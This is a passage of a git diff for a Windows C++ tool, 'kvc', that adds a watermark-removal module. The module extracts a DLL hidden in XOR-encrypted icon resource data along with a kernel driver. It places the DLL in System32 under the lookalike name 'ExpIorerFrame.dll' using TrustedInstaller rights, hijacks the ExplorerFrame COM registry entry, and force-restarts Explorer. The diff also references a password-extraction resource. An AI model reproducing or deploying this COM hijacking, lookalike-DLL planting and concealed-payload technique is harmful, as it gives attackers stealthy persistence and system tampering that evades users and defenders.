extraction) bool SplitCombinedPE(const std::vector& combined, std::vector& first, std::vector& second) noexcept; - /** - * @brief Decrypts data using XOR cipher - * @param encryptedData Data to decrypt - * @param key XOR key (7 bytes) - * @return std::vector Decrypted data or empty on failure - * @note Uses repeating key pattern for decryption - * @note Used for decrypting embedded driver and binaries - */ + // XOR decryption with 7-byte key std::vector DecryptXOR(const std::vector& encryptedData, const std::array& key) noexcept; // ============================================================================ - // CONSOLE COLORING UTILITIES + // CAB DECOMPRESSION AND WATERMARK EXTRACTION // ============================================================================ - /** - * @brief ANSI color codes for process display - * - * Provides color coding for different process trust levels and types - * in console output. Uses ANSI escape sequences. - */ - struct ProcessColors { - static constexpr const wchar_t* GREEN = L"\033[92m"; ///< System processes (WinTcb, WinSystem) - static constexpr const wchar_t* RED = L"\033[91m"; ///< LSA processes (critical security) - static constexpr const wchar_t* YELLOW = L"\033[93m"; ///< User/Antimalware processes - static constexpr const wchar_t* BLUE = L"\033[94m"; ///< Unchecked signatures - static constexpr const wchar_t* PURPLE = L"\033[95m"; ///< SYSTEM ONLY!(always 4) - static constexpr const wchar_t* CYAN = L"\033[96m"; ///< Windows Signer - static constexpr const wchar_t* HEADER = L"\033[97;44m"; ///< Table headers (white on blue) - static constexpr const wchar_t* RESET = L"\033[0m"; ///< Reset color to default - }; + // Decompress CAB archive from memory and extract kvc.evtx + std::vector DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept; + + // Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll + bool SplitKvcEvtx(const std::vector& kvcData, + std::vector& outKvcSys, + std::vector& outDll) noexcept; + + // Extract components from resource 102 (CAB containing kvc.sys + ExpIorerFrame.dll) + bool ExtractResourceComponents(int resourceId, + std::vector& outKvcSys, + std::vector& outDll) noexcept; + + // ============================================================================ + // CONSOLE COLORING + // ============================================================================ + + struct ProcessColors { + static constexpr const wchar_t* GREEN = L"\033[92m"; + static constexpr const wchar_t* RED = L"\033[91m"; + static constexpr const wchar_t* YELLOW = L"\033[93m"; + static constexpr const wchar_t* BLUE = L"\033[94m"; + static constexpr const wchar_t* PURPLE = L"\033[95m"; + static constexpr const wchar_t* CYAN = L"\033[96m"; + static constexpr const wchar_t* HEADER = L"\033[97;44m"; + static constexpr const wchar_t* RESET = L"\033[0m"; + }; - /** - * @brief Enables ANSI virtual terminal processing for colored output - * @return bool true if enabled successfully - * @note Required for ANSI color codes to work on Windows 10+ - * @note Uses SetConsoleMode with ENABLE_VIRTUAL_TERMINAL_PROCESSING - */ bool EnableConsoleVirtualTerminal() noexcept; - /** - * @brief Gets appropriate display color for process based on trust level - * @param signerType Process signer type - * @param signatureLevel Executable signature level - * @param sectionSignatureLevel DLL signature level - * @return const wchar_t* ANSI color code - * @note Color coding: Green=System, Red=LSA, Yellow=User, Blue=Unchecked - * @note Used in process listing and information display - */ const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel, UCHAR sectionSignatureLevel) noexcept; } \ No newline at end of file diff --git a/kvc/WatermarkManager.cpp b/kvc/WatermarkManager.cpp new file mode 100644 index 0000000..a3d7038 --- /dev/null +++ b/kvc/WatermarkManager.cpp @@ -0,0 +1,234 @@ +// WatermarkManager.cpp +// Implementation of watermark removal via DLL hijacking + +#include "WatermarkManager.h" +#include "Utils.h" +#include +#include + +// Constructor +WatermarkManager::WatermarkManager(TrustedInstallerIntegrator& trustedInstaller) + : m_trustedInstaller(trustedInstaller) +{ +} + +// Main removal operation +bool WatermarkManager::RemoveWatermark() noexcept +{ + INFO(L"[WATERMARK] Starting watermark removal process"); + + // Extract ExpIorerFrame.dll from resource + std::vector dllData; + if (!ExtractWatermarkDLL(dllData)) { + ERROR(L"[WATERMARK] Failed to extract DLL from resource"); + return false; + } + + INFO(L"[WATERMARK] Successfully extracted ExpIorerFrame.dll (%zu bytes)", dllData.size()); + + // Get System32 path + std::wstring system32Path = GetSystem32Path(); + if (system32Path.empty()) { + ERROR(L"[WATERMARK] Failed to locate System32 directory"); + return false; + } + + std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll"; + + // Write DLL using TrustedInstaller + if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) { + ERROR(L"[WATERMARK] Failed to deploy DLL to System32"); + return false; + } + + INFO(L"[WATERMARK] DLL deployed to: %s", dllPath.c_str()); + + // Hijack registry entry + if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller( + HKEY_CLASSES_ROOT, CLSID_KEY, L"", HIJACKED_DLL)) { + ERROR(L"[WATERMARK] Failed to hijack registry entry"); + return false; + } + + INFO(L"[WATERMARK] Registry hijacked successfully"); + + // Restart Explorer to apply changes + if (!RestartExplorer()) { + ERROR(L"[WATERMARK] Failed to restart Explorer"); + return false; + } + + SUCCESS(L"[WATERMARK] Watermark removed successfully"); + return true; +} + +// Restore original watermark +bool WatermarkManager::RestoreWatermark() noexcept +{ + INFO(L"[WATERMARK] Starting watermark restoration process"); + + // 1. Najpierw przywróć rejestr + if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller( + HKEY_CLASSES_ROOT, CLSID_KEY, L"", ORIGINAL_DLL)) { + ERROR(L"[WATERMARK] Failed to restore registry entry"); + return false; + } + + INFO(L"[WATERMARK] Registry restored to original value"); + + // 2. Zrestartuj Explorera (to zwolni uchwyt do DLL) + if (!RestartExplorer()) { + ERROR(L"[WATERMARK] Failed to restart Explorer"); + return false; + } + + // 3. Teraz usuń DLL (uchwyt został zwolniony) + std::wstring system32Path = GetSystem32Path(); + if (!system32Path.empty()) { + std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll"; + + // Dodaj krótkie opóźnienie dla pewności + Sleep(1000); + + if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(dllPath)) { + // Nie traktuj jako błędu krytycznego - DLL może być w użyciu + INFO(L"[WATERMARK] DLL might still be in use, will be removed on next restart: %s", + dllPath.c_str()); + } else { + INFO(L"[WATERMARK] Hijacked DLL deleted successfully"); + } + } + + SUCCESS(L"[WATERMARK] Watermark restored successfully"); + return true; +} + +// Check current status +std::wstring WatermarkManager::GetWatermarkStatus() noexcept +{ + std::wstring currentValue = ReadRegistryValue(HKEY_CLASSES_ROOT, CLSID_KEY, L""); + + if (currentValue == HIJACKED_DLL) { + return L"REMOVED"; + } else if (currentValue == ORIGINAL_DLL) { + return L"ACTIVE"; + } + + return L"UNKNOWN"; +} + +bool WatermarkManager::IsWatermarkRemoved() noexcept +{ + return GetWatermarkStatus() == L"REMOVED"; +} + +// Extract DLL from resource - Complete pipeline +bool WatermarkManager::ExtractWatermarkDLL(std::vector& outDllData) noexcept +{ + std::vector kvcSysData; + + if (!Utils::ExtractResourceComponents(RESOURCE_ID, kvcSysData, outDllData)) { + ERROR(L"[WATERMARK] Failed to extract DLL from resource"); + return false; + } + + DEBUG(L"[WATERMARK] ExpIorerFrame.dll extracted: %zu bytes", outDllData.size()); + return !outDllData.empty(); +} + +// Restart Explorer process +bool WatermarkManager::RestartExplorer() noexcept +{ + INFO(L"[WATERMARK] Restarting Explorer..."); + + // Find all explorer.exe processes + std::vector explorerPids; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W pe; + pe.dwSize = sizeof(pe); + + if (Process32FirstW(hSnapshot, &pe)) { + do { + if (_wcsicmp(pe.szExeFile, L"explorer.exe") == 0) { + explorerPids.push_back(pe.th32ProcessID); + } + } while (Process32NextW(hSnapshot, &pe)); + } + CloseHandle(hSnapshot); + } + + // Terminate all Explorer instances + std::vector processHandles; + for (DWORD pid : explorerPids) { + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid); + if (hProcess) { + TerminateProcess(hProcess, 0); + processHandles.push_back(hProcess); + } + } + + // Wait for termination + if (!processHandles.empty()) { + WaitForMultipleObjects( + static_cast(processHandles.size()), + processHandles.data(), + TRUE, + 5000 + ); + + for (HANDLE h : processHandles) { + CloseHandle(h); + } + } + + // Start new Explorer instance + SHELLEXECUTEINFOW sei = { sizeof(sei) }; + sei.fMask = SEE_MASK_FLAG_NO_UI; + sei.lpFile = L"explorer.exe"; + sei.lpParameters = L"/e,"; // ← Prevents opening folder window + sei.nShow = SW_HIDE; // ← ! Hide the window + + if (!ShellExecuteExW(&sei)) { + ERROR(L"[WATERMARK] Failed to restart Explorer"); + return false; + } + + Sleep(1000); // Give Explorer time to start + return true; +} + +// Get System32 path +std::wstring WatermarkManager::GetSystem32Path() noexcept +{ + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) { + return L""; + } + return std::wstring(systemDir); +} + +// Read registry value +std::wstring WatermarkManager::ReadRegistryValue(HKEY hKey, const std::wstring& subKey, + const std::wstring& valueName) noexcept +{ + HKEY hOpenKey; + if (RegOpenKeyExW(hKey, subKey.c_str(), 0, KEY_READ, &hOpenKey) != ERROR_SUCCESS) { + return L""; + } + + wchar_t value[1024]; + DWORD dataSize = sizeof(value); + DWORD type; + + if (RegQueryValueExW(hOpenKey, valueName.empty() ? nullptr : valueName.c_str(), + NULL, &type, (LPBYTE)value, &dataSize) == ERROR_SUCCESS) { + RegCloseKey(hOpenKey); + if (type == REG_SZ || type == REG_EXPAND_SZ) { + return std::wstring(value); + } + } + + RegCloseKey(hOpenKey); + return L""; +} \ No newline at end of file diff --git a/kvc/WatermarkManager.h b/kvc/WatermarkManager.h new file mode 100644 index 0000000..de6e354 --- /dev/null +++ b/kvc/WatermarkManager.h @@ -0,0 +1,46 @@ +// WatermarkManager.h +// Windows Desktop Watermark Removal via ExplorerFrame.dll Hijacking + +#pragma once + +#include "common.h" +#include "TrustedInstallerIntegrator.h" +#include +#include +#include + +class WatermarkManager +{ +public: + explicit WatermarkManager(TrustedInstallerIntegrator& trustedInstaller); + + // Main operations + bool RemoveWatermark() noexcept; + bool RestoreWatermark() noexcept; + std::wstring GetWatermarkStatus() noexcept; + bool IsWatermarkRemoved() noexcept; + +private: + // Extraction pipeline: Resource → Skip icon → XOR → CAB → Split PE + bool ExtractWatermarkDLL(std::vector& outDllData) noexcept; + + // System operations + bool RestartExplorer() noexcept; + std::wstring GetSystem32Path() noexcept; + std::wstring ReadRegistryValue(HKEY hKey, const std::wstring& subKey, + const std::wstring& valueName) noexcept; + + TrustedInstallerIntegrator& m_trustedInstaller; + + // Registry paths + static constexpr const wchar_t* CLSID_KEY = + L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32"; + static constexpr const wchar_t* HIJACKED_DLL = + L"%SystemRoot%\\system32\\ExpIorerFrame.dll"; + static constexpr const wchar_t* ORIGINAL_DLL = + L"%SystemRoot%\\system32\\ExplorerFrame.dll"; + + // Resource constants + static constexpr size_t ICON_SKIP_SIZE = 3774; // Skip icon data in resource + static constexpr int RESOURCE_ID = 102; // New resource for watermark +}; \ No newline at end of file diff --git a/kvc/resource.h b/kvc/resource.h index a18cb30..6524789 100644 --- a/kvc/resource.h +++ b/kvc/resource.h @@ -4,7 +4,8 @@ // KVC Main Application Resources (100-199) #define IDI_ICON1 101 -#define IDR_MAINICON 102 // Icon data containing embedded driver +#define IDR_MAINICON 102 // Icon data containing embedded resources + // PassExtractor/kvc_pass Resources (200-299) #define IDI_PASSEXTRACTOR_ICON 201